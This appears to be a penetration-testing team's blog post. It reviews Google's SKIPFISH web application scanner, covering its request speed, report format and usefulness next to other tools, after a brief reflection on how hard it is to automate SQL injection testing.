After some discussion, the Team concluded there are simply too many variables in play for one tool to serve as “the silver bullet.” The language and structure of the queries are just a few of the challenges these tools face when sniffing out vulnerable SQL strings. With so many variables for attackers and penetration testers to overcome, SQL injection testing has become extremely difficult to automate reliably! That being said, it appears as if these tools are created for use in such specific circumstances that they’re rendered useless for anything but that one, specialized scenario. So we’re continuing to find this to be a long, drawn out, manual process. This is not a complaint. Our Team loves the challenge! It’s just difficult to find a SQLi tool that can adapt to uses other than that for which the tool was specifically created – commonly a source of frustration when trying to expedite the process and finding little success.

This week, our team had the opportunity to test Google’s recently released web application scanner known as SKIPFISH. Touted as an active reconnaissance tool, SKIPFISH claims to present an interactive site map for a targeted site by performing a myriad of recursive crawls and discretionary based probes. The map is then notated with the output of several active security checks which are designed to be non-disruptive. SKIPFISH isn’t a replacement for Nessus, Nikto, or any other vulnerability scanner which might own your allegiance. Instead, this tool hopes to supplement your current arsenal.

SKIPFISH boasts high performance- “500+ requests per second against responsive Internet targets, 2000+ requests per second on LAN / MAN networks, and 7000+ requests against local instances have been observed, with a very modest CPU, network, and memory footprint.” To that end, the test used for our evaluation saw a total of more than 9 million HTTP requests over 3 days using the default dictionary included with the tool. While this test was conducted, there was no interruption of the target site although response times did increase dramatically.

The scan’s result provides a huge directory of files that are fed into index.html. When called by the web browser, this report turns out to be easily readable and comes with pointy-clicky goodness, thanks to a plethora of JavaScript (so be sure you’re allowing it to be seen). The report lists each page that was interrogated during the scan and documents server responses (including errors and successful replies), identifies possible attack vectors (such as password entry fields to brute force), along with other useful tidbits for each. Following the breakdown by page, SKIPFISH provides a list of document types (html, js, PDF, images, and various text formats) and their URLs. The report closes with an overview of various issues discovered during the scan, complete with severity ratings and the URL of the finding.

All in all, this tool has potential. It’s certainly not going to replace any of the other tools in our Web Application Assessment toolkit, but it is a good supplement and will most likely be added to give more information going forward. It is very user friendly, despite the time it took to scan the target site with the default dictionary. This in itself tells our team more testing is necessary, not to mention the fact that there are several options that can enhance functionality of the tool. With the sheer number of exploits and attack vectors available in web applications today, it can never hurt to get a different look at the application using a number of tools. And in this tech’s opinion, redundancy is good in that it shows the stability of our findings across the board.